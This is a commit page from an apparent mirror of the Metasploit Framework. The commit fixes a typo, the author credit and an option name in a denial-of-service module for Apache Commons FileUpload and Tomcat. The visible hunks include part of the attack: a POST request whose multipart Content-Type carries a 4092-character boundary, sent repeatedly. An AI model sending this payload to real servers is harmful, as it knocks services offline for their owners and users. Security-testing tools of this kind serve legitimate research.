infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Author and URI fixed

bug/bundler_fix
ribeirux 2014-02-24 22:20:34 +01:00
parent 8f7f1d0497
commit ead7cbc692
1 changed files with 4 additions and 4 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

8
modules/auxiliary/dos/http/apache_commons_fileupload_dos.rb
View File

@ -14,7 +14,7 @@ class Metasploit4 < Msf::Auxiliary
super(update_info(info, super(update_info(info,
'Name' => 'Apache Commons FileUpload and Apache Tomcat DoS', 'Name' => 'Apache Commons FileUpload and Apache Tomcat DoS',
'Description' => %q{ 'Description' => %q{
This module triggers an inifinite loop in Apache Commons FileUpload 1.0 through 1.3 This module triggers an infinite loop in Apache Commons FileUpload 1.0 through 1.3
via a Content-Type header. via a Content-Type header.
Apache Tomcat 7 and Apache Tomcat 8 use a copy of Apache Commons FileUpload Apache Tomcat 7 and Apache Tomcat 8 use a copy of Apache Commons FileUpload
to handle mime-multipart requests, therefore, Apache Tomcat 7.0.0 through 7.0.50 to handle mime-multipart requests, therefore, Apache Tomcat 7.0.0 through 7.0.50
@ -23,7 +23,7 @@ class Metasploit4 < Msf::Auxiliary
}, },
'Author' => 'Author' =>
[ [
'This issue was reported to the Apache Software Foundation and accidently made public.', # advisory 'Unknown', #This issue was reported to the Apache Software Foundation and accidently made public.
'ribeirux' # metasploit module 'ribeirux' # metasploit module
], ],
'License' => MSF_LICENSE, 'License' => MSF_LICENSE,
@ -40,7 +40,7 @@ class Metasploit4 < Msf::Auxiliary
register_options( register_options(
[ [
Opt::RPORT(8080), Opt::RPORT(8080),
OptString.new('URI', [ true, "The request URI", '/']), OptString.new('TARGETURI', [ true, "The request URI", '/']),
OptInt.new('RLIMIT', [ true, "Number of requests to send",50]) OptInt.new('RLIMIT', [ true, "Number of requests to send",50])
], self.class) ], self.class)
end end
@ -49,7 +49,7 @@ class Metasploit4 < Msf::Auxiliary
boundary = "0"*4092 boundary = "0"*4092
opts = { opts = {
'method' => "POST", 'method' => "POST",
'uri' => normalize_uri(datastore['URI']), 'uri' => normalize_uri(target_uri.to_s),
'ctype' => "multipart/form-data; boundary=#{boundary}", 'ctype' => "multipart/form-data; boundary=#{boundary}",
'data' => "#{boundary}00000", 'data' => "#{boundary}00000",
'headers' => { 'headers' => {